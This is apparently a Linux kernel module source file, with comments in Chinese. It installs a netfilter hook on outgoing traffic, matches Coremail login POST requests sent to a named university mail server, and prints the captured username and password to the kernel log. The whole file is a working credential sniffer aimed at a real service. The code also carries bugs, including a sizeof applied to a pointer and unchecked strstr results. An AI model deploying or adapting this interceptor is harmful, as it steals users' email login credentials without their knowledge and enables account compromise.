#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.
 
h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define SUCCESS   1
#define FAILURE  -1
static char *username = NULL;
static char *password = NULL;

MODULE_LICENSE("GPL");
/* 用於描述我們的Netfilter掛鉤
 * nf_hook_ops資料結構在linux/netfilter.h中定義
 * 我們定義兩個nf_hook_ops結構體，一個傳入的hook 和 一個傳出的hook 
struct nf_hook_ops
{
    struct list_head list; //鉤子連結串列
    nf_hookfn *hook;       //鉤子處理函式
    struct module *owner;  //模組所有者
    int pf;                //鉤子協議族
    int hooknum;           //鉤子的位置值（PREROUTING、POSTOUTING、INPUT、FORWARD、OUTPUT五個位置）
    int priority;          //鉤子的的優先順序
}
 */
 

struct nf_hook_ops  post_hook;

//start of tcp data
static unsigned char * post_uri = "POST /coremail/index.jsp?cus=1";     
static short post_uri_len = sizeof(post_uri);     
static unsigned char *target_ip = "\xca\x26\x40\x08"; //202.38.64.8 --> mail.ustc.edu.cn


//find target package
 

static unsigned int findpkt_iwant(struct sk_buff *skb) {
    struct iphdr *ip = NULL;
    struct tcphdr *tcp = NULL;
    char *data = NULL;
    
    //ip_header
    ip = (struct iphdr *)skb_network_header(skb);
    if (ip->daddr != *(int *)(target_ip) || (unsigned char)ip->protocol != IPPROTO_TCP)
	//printk("ip->daddr:%d   *(int*)(target_ip):%d\n",(int)ip->daddr,*(int*)target_ip);
        return FAILURE;

    tcp = (struct tcphdr *)skb_transport_header(skb);
    data = (char *)((char *)tcp + (tcp->doff<<2));
    if (strncmp(data, post_uri, post_uri_len) != 0) {
	//printk("Wrong pakage!\n");        
	return FAILURE;
    }
    return SUCCESS;
}


//find http package
static void fetch_http(struct sk_buff *skb) {
    printk("fetch http data...\n");
    struct iphdr *ip = NULL;
    struct tcphdr *tcp = NULL;
    char *data = NULL;   // tcp data
    //int tcp_payload_len = 0;
    char i;
    int content_len = 0; // Cotent-Length

    ip = (struct iphdr *)skb_network_header(skb);
    tcp = (struct tcphdr *)skb_transport_header(skb);
    data = (char *)tcp + (tcp->doff<<2);
    
    username = strstr(data, "&uid=") + 5;
    password = strstr(username, "&password=") + 10;
    
    //print username
    printk("username: ");
    for(i=0;username[i]!='&';++i)
	printk("%c",username[i]);
    printk("\n");

    //print passwd
    printk("password: ");
    for(i=0;password[i]!='&';++i)
	printk("%c",password[i]);
    printk("\n");
    return;
}


static int hasPair(void) {
    return username != NULL && password != NULL;
}


static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  /* 讓傳入的緩衝skb存到sock_buff中 */ 
    struct sk_buff *sock_buff = skb;
    if(!sock_buff){ 
	printk("buffer error!\n"); 
	return NF_ACCEPT; 
    }
    if (findpkt_iwant(skb) == FAILURE)
        return NF_ACCEPT;
    if (!hasPair()){
        fetch_http(skb);
        username = NULL;
	password = NULL;
    }
    return NF_ACCEPT;
}


/*
核心模組中的兩個函式 init_module() ：表示起始 和 cleanup_module() ：表示結束 
*/ 
int init_module()
{
	/*hook函式指標指向watc_out*/ 
   post_hook.hook     = watch_out;
   /*協議簇為ipv4*/  
   post_hook.pf       = PF_INET;
   /*優先順序最高*/
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_INET_POST_ROUTING;

   /*將post_hook註冊，註冊實際上就是在一個nf_hook_ops連結串列中再插入一個nf_hook_ops結構*/ 
   nf_register_net_hook(&init_net ,&post_hook);
   printk("Module_init...\n");
   return 0;
}

void cleanup_module()
{
	/*將post_hook取消註冊，取消註冊實際上就是在一個nf_hook_ops連結串列中刪除一個nf_hook_ops結構*/ 
   nf_unregister_net_hook(&init_net ,&post_hook);

}